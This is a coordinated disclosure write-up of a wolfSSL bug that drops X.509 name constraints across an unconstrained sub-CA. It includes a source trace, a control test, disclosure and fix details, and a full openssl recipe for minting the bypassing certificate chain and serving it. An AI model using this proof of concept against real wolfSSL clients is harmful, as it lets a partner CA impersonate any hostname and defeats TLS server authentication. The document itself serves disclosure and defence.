wolfSSL forgets a name constraint one tier up

depth — the constraint holds one tier and dies at two

Discovered 4 May 2026 · Updated 1 Jul 2026

Cross-organisation trust delegation leans on X.509 name constraints to hold a delegated certificate authority to an agreed set of names --- a partner's authorisation to sign on the organisation's behalf is limited to an agreed domain, and IETF requires every certificate below it to stay inside that domain, at any depth. wolfSSL honours the constraint directly above a leaf, but loses it across an unconstrained sub-CA one tier up — so a partner who controls that tier can mint a leaf for any hostname at all, trusted by every wolfSSL client that trusts the organisation.

> *The constraint one tier up is silently dropped when the tier below has none.*

A parent organisation lets a partner issue TLS certificates, but not for any name it likes: the partner's intermediate certificate authority (CA) carries a critical `nameConstraints` extension permitting names only under `permitted.example`. RFC 5280 requires every certificate below it, at any depth, to stay inside that subtree, so the working constraint set the intermediate establishes follows down the chain to every leaf. Eighteen of the twenty stacks swept enforce it (prior record, not re-derived below). wolfSSL enforces it only when the constraint sits directly above the leaf.

```
Parent root  (in the wolfSSL client's trust store)
    │  issues Int1 with critical nameConstraints
    ▼
Int1  permittedSubtrees = permitted.example      ← the constraint
    │  issues an unconstrained sub-CA
    ▼
Int2  no nameConstraints extension               ← working set reset here
    │  the partner signs a leaf the constraint forbids
    ▼
Leaf  SAN = host.forbidden.example               ← outside permitted.example

RFC 5280 §6.1.4(g) → the working set MUST carry through Int2.
wolfSSL empties it.
```

Put one unconstrained sub-CA between the constraint and the leaf and wolfSSL loses it. Its path validator reads name constraints from the leaf's immediate signer, the sub-CA, finds none, and takes the working constraint set to be empty, discarding the constraint one tier above. A partner who controls that sub-CA mints a leaf naming `host.forbidden.example`, a name the constraint forbids, signs it, and serves it to a wolfSSL client that trusts the parent root. The handshake completes.

Don't trust, verify: Constraint-escape one tier down

The adversary is the partner who runs `Int2`, and their one crime is the leaf they sign: it names `host.forbidden.example`, outside the constraint the parent wrote two tiers up. The parent root is the only certificate the client is told to trust; below it `Int1` is a genuine CA the parent delegated to, its critical NameConstraints extension permitting `permitted.example` and nothing else; below `Int1` sits `Int2`, a sub-CA with no name constraints of its own. Four certificates in all, minted in the appendix along with the stock listener that presents them. Read back off those certificates, three extensions are the whole of it: one constraint, one unconstrained tier below it, and one leaf name that escapes the pair of them.

```
$ openssl x509 -in int1.pem -noout -subject \
     -ext basicConstraints,nameConstraints
subject=CN=Int1-permits-permitted.example
X509v3 Basic Constraints: critical
    CA:TRUE
X509v3 Name Constraints: critical
    Permitted:
      DNS:permitted.example

$ openssl x509 -in int2.pem -noout -subject \
     -ext basicConstraints,nameConstraints
subject=CN=Int2-unconstrained
X509v3 Basic Constraints: critical
    CA:TRUE

$ openssl x509 -in leaf.pem -noout -subject -ext subjectAltName
subject=CN=localhost
X509v3 Subject Alternative Name:
    DNS:host.forbidden.example, DNS:localhost
```

Stock OpenSSL, given that chain and the same trust anchor, walks the constraint down through the unconstrained `Int2` and refuses the leaf at the certificate, before any application data flows.

```
$ openssl s_client -connect localhost:14443 -tls1_3 -CAfile root.pem \
     -verify_return_error
depth=3 CN=BREACH-parent-root
depth=2 CN=Int1-permits-permitted.example
depth=1 CN=Int2-unconstrained
depth=0 CN=localhost
depth=0 CN=localhost
verify error:num=47:permitted subtree violation
Verify return code: 47 (permitted subtree violation)
```

Verify error 47 is RFC 5280 §6.1.3(b) working as written: the leaf's subject alternative name sits outside the permitted subtree `Int1` established two tiers above it. Aim wolfSSL's example client at that server, under that root.

```
$ timeout 20 wolfssl/examples/client/client -h 127.0.0.1 -p 14443 -v 4 -g \
     -A root.pem
connecting to 127.0.0.1:14443
Alternate cert chain used
 issuer : /CN=Int2-unconstrained
 subject: /CN=localhost
 altname = host.forbidden.example
 altname = localhost
 serial number:01
SSL version is TLSv1.3
SSL cipher suite is TLS_AES_256_GCM_SHA384
SSL signature algorithm is (null)
SSL curve name is SECP256R1
Session timeout set to 500 seconds
SSL connect ok, sending GET...
HTTP/1.0 200 ok
Content-type: text/html

BREACH-index: served as host.forbidden.example
```

wolfSSL prints the certificate it accepted: issuer the unconstrained `Int2`, and `altname = host.forbidden.example`, the name the constraint one tier up forbids. It completes the TLS 1.3 handshake and reads the block the listener serves — an authenticated session against a server identity the parent never authorised the partner to vouch for.

Trace to vulnerability site: Working set reset

The defect is in the chain-walk state machine, not the NameConstraints parser. RFC 5280 §6.1.4 step (g) defines the working constraint set (the `permitted_subtrees` and `excluded_subtrees` state) as the running intersection of every NameConstraints extension seen so far, propagated to each subordinate certificate; step §6.1.3(b) is where each certificate's subject and subject alternative name are tested against that set. wolfSSL keeps no such running state. It keeps a `Signer` per CA, holding that CA's own two lists, and tests each certificate against its immediate signer alone.

> ▶ The chain walk in wolfSSL's own source — 81 lines, click to read

Three lines carry the bug. The check is entered once per certificate, from the path walk at `asn.c:25914`, and it is handed `cert->ca` (the immediate signer, never an ancestor). Inside the check, `asn.c:19417` reads that signer's own two lists and, finding both empty, returns permitted without looking further up. And `asn.c:26071` is where a `Signer` gets its lists in the first place: a straight copy of the certificate's own extension, the only write to that field anywhere in the library, so nothing ever intersects a parent's constraint into a child's record of it. Reaching `Int2`, which carries no extension, the walk therefore has nothing to test against and matches the leaf's name against an empty set, which permits everything.

Read the same three lines the other way and they predict the opposite outcome. Put the constraint on the leaf's immediate signer and `cert->ca` is the certificate that carries it, so `asn.c:19417` finds a list, the matcher runs, and the leaf is refused. That is a claim about the code, and the control tests it on the wire: the same shape with the constraint one tier lower, minted in the appendix beside the first. Everything else holds — same root, same client, same depth, same forbidden hostname. Only the constraint's tier moves, and the control's own intermediates say so.

```
$ openssl x509 -in ctl-int1.pem -noout -subject \
     -ext basicConstraints,nameConstraints
subject=CN=Ctl-Int1-unconstrained
X509v3 Basic Constraints: critical
    CA:TRUE

$ openssl x509 -in ctl-int2.pem -noout -subject \
     -ext basicConstraints,nameConstraints
subject=CN=Ctl-Int2-permits-permitted.example
X509v3 Basic Constraints: critical
    CA:TRUE
X509v3 Name Constraints: critical
    Permitted:
      DNS:permitted.example

$ timeout 20 wolfssl/examples/client/client -h 127.0.0.1 -p 14444 -v 4 -g \
     -A root.pem
connecting to 127.0.0.1:14444
wolfSSL_connect error -198, Name Constraint error
wolfSSL error: wolfSSL_connect failed
```

Error -198 is `ASN_NAME_INVALID_E`, wolfSSL's own name-constraint refusal, raised on a leaf carrying the same name the client accepted two sections above. The parser, the matcher and depth-one enforcement all work, and the prediction holds: the single variable between accepting and refusing is which tier carries the extension. What is missing is the carry-forward step that should populate the working set from an ancestor when the immediate signer carries none — and it fails however many unconstrained tiers sit between that ancestor and the leaf.

Scope

In scope: any wolfSSL deployment whose trust store holds a CA root that has issued a name-constrained intermediate, where that intermediate's downstream chain contains at least one unconstrained sub-CA before the leaf. The constraint exists to make exactly the shapes that expose it safe: cross-organisational certificate delegation where a partner builds an internal sub-CA hierarchy below a constrained intermediate, IoT manufacturer tier hierarchies with a constrained top-level CA over unconstrained tier CAs, and internal CA-of-CA delegation. The prerequisite is control of an unconstrained sub-CA below the constrained intermediate, real in every one of those shapes; the defect is what turns that control into unrestricted hostname issuance against affected clients.

Both axes are affected, a permitted subtree escaped and an excluded subtree entered, regardless of how many unconstrained tiers sit between the constraint and the leaf; one such tier and two trigger alike.

Not in scope: chains where the constraint sits on the leaf's immediate signer (wolfSSL's depth-one enforcement is correct); deployments under the public web's public key infrastructure, where CA/Browser Forum policy keeps the constrained-then-unconstrained sub-CA shape out of Certificate-Transparency-logged chains; and trust stores holding no name-constrained CA at all, the most common deployment.

A sibling in Haskell accepts the same chain for a broader reason (its walker runs no NameConstraints processing at all, at any depth) and ships separately as HOLLOW; wolfSSL enforces the constraint correctly at depth one and loses it only across an unconstrained tier.

Discovered 2026-05-04; disclosed 2026-05-09 (CERT/CC VRF#26-05-XVHZW; reported to wolfSSL's security intake in parallel). Targets: wolfSSL at the `v5.8.4-stable` release tag, upstream commit 59f4fa5; name-constraint processing is compiled in unless `IGNORE_NAME_CONSTRAINTS` is defined. CWE-295, CWE-296 · CVSS 9.1 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

Detected & exploited by cybernuke — cybernuke.bensmyth.com.

Updated 1 Jul 2026 — wolfSSL shipped the fix in PR #10687 ("Name Constraints cert chain walk", merge commit `7afcc3ee`): it walks the ancestor chain so the working constraint set carries through an unconstrained intermediate, and a patched client now rejects the disclosure chain with `-198 ASN_NAME_INVALID_E`. Merged to master, not yet in a tagged release — the merge post-dates the 5.9.2-stable cut and ships in the next release after it. No CVE assigned; the CERT/CC case is not yet public.

Appendix: standing it up

Everything a maintainer needs is above. What follows is the wiring: acquiring and building the library, minting the two chains from scratch, and standing up the two listeners that present them. It is here so that a verifier whose own reconstruction disagrees with ours can find out whose fault that is.

```
# needs: git, autoconf, automake, libtool, make, a C compiler, openssl >= 3.0
# the target: wolfSSL at the 5.8.4 RELEASE TAG. A checkout of master also
# reports 5.8.4 — master keeps the last released version string until the
# next bump — and its line numbers are hundreds of lines adrift.
$ git clone --depth 1 --branch v5.8.4-stable \
    https://github.com/wolfSSL/wolfssl.git
$ git -C wolfssl describe --tags
v5.8.4-stable
$ git -C wolfssl rev-parse --short=7 HEAD
59f4fa5

# name-constraint processing is compiled in by default: the bug needs no
# flag, only that IGNORE_NAME_CONSTRAINTS stays undefined. The static link
# runs the example client from the tree, and --enable-opensslextra defines
# KEEP_PEER_CERT, which makes the client print the certificate it accepted.
$ env -C wolfssl ./autogen.sh
$ env -C wolfssl ./configure --enable-tls13 --disable-shared --enable-static \
    --enable-opensslextra
$ make -C wolfssl -j2

# the example client walks up from its working directory for a certs/
# directory and aborts with wolf root not found without one
$ ln -s wolfssl/certs certs
```

```
# the parent root, the only certificate the client is told to trust
$ openssl req -x509 -quiet -noenc -newkey rsa:2048 -days 30 -keyout root.key \
    -out root.pem -subj /CN=BREACH-parent-root \
    -addext basicConstraints=critical,CA:TRUE \
    -addext keyUsage=critical,keyCertSign,cRLSign

# Int1 — the partner's intermediate, constrained to permitted.example
$ openssl req -new -quiet -noenc -newkey rsa:2048 -keyout int1.key \
    -out int1.csr -subj /CN=Int1-permits-permitted.example \
    -addext basicConstraints=critical,CA:TRUE \
    -addext keyUsage=critical,keyCertSign,cRLSign \
    -addext 'nameConstraints=critical,permitted;DNS:permitted.example'
$ openssl x509 -req -in int1.csr -CA root.pem -CAkey root.key -days 30 \
    -copy_extensions copyall -out int1.pem

# Int2 — an unconstrained sub-CA, issued by Int1
$ openssl req -new -quiet -noenc -newkey rsa:2048 -keyout int2.key \
    -out int2.csr -subj /CN=Int2-unconstrained \
    -addext basicConstraints=critical,CA:TRUE \
    -addext keyUsage=critical,keyCertSign,cRLSign
$ openssl x509 -req -in int2.csr -CA int1.pem -CAkey int1.key -days 30 \
    -copy_extensions copyall -out int2.pem

# the leaf Int2 signs, naming a host the constraint above Int2 forbids
$ openssl req -new -quiet -noenc -newkey rsa:2048 -keyout leaf.key \
    -out leaf.csr -subj /CN=localhost \
    -addext subjectAltName=DNS:host.forbidden.example,DNS:localhost \
    -addext basicConstraints=critical,CA:FALSE \
    -addext keyUsage=critical,digitalSignature,keyEncipherment
$ openssl x509 -req -in leaf.csr -CA int2.pem -CAkey int2.key -set_serial 1 \
    -days 30 -copy_extensions copyall -out leaf.pem

# the chain the server presents beneath that leaf
$ cat int2.pem int1.pem > chain.pem
```

```
# Ctl-Int1 carries no name constraints; Ctl-Int2, the leaf's immediate
# signer, carries the constraint Int1 carried above.
$ openssl req -new -quiet -noenc -newkey rsa:2048 -keyout ctl-int1.key \
    -out ctl-int1.csr -subj /CN=Ctl-Int1-unconstrained \
    -addext basicConstraints=critical,CA:TRUE \
    -addext keyUsage=critical,keyCertSign,cRLSign
$ openssl x509 -req -in ctl-int1.csr -CA root.pem -CAkey root.key -days 30 \
    -copy_extensions copyall -out ctl-int1.pem
$ openssl req -new -quiet -noenc -newkey rsa:2048 -keyout ctl-int2.key \
    -out ctl-int2.csr -subj /CN=Ctl-Int2-permits-permitted.example \
    -addext basicConstraints=critical,CA:TRUE \
    -addext keyUsage=critical,keyCertSign,cRLSign \
    -addext 'nameConstraints=critical,permitted;DNS:permitted.example'
$ openssl x509 -req -in ctl-int2.csr -CA ctl-int1.pem -CAkey ctl-int1.key \
    -days 30 -copy_extensions copyall -out ctl-int2.pem
$ openssl req -new -quiet -noenc -newkey rsa:2048 -keyout ctl-leaf.key \
    -out ctl-leaf.csr -subj /CN=localhost \
    -addext subjectAltName=DNS:host.forbidden.example,DNS:localhost \
    -addext basicConstraints=critical,CA:FALSE \
    -addext keyUsage=critical,digitalSignature,keyEncipherment
$ openssl x509 -req -in ctl-leaf.csr -CA ctl-int2.pem -CAkey ctl-int2.key \
    -set_serial 1 -days 30 -copy_extensions copyall -out ctl-leaf.pem
$ cat ctl-int2.pem ctl-int1.pem > ctl-chain.pem
```

```
# the block whose arrival at the client is the finding
$ echo 'BREACH-index: served as host.forbidden.example' > index.html

$ openssl s_server -accept 14443 -tls1_3 -cert leaf.pem -key leaf.key \
    -cert_chain chain.pem -WWW -naccept 2 &
```

```
# the depth-one control's listener, presenting the control chain
$ openssl s_server -accept 14444 -tls1_3 -cert ctl-leaf.pem -key ctl-leaf.key \
    -cert_chain ctl-chain.pem -WWW -naccept 1 &
```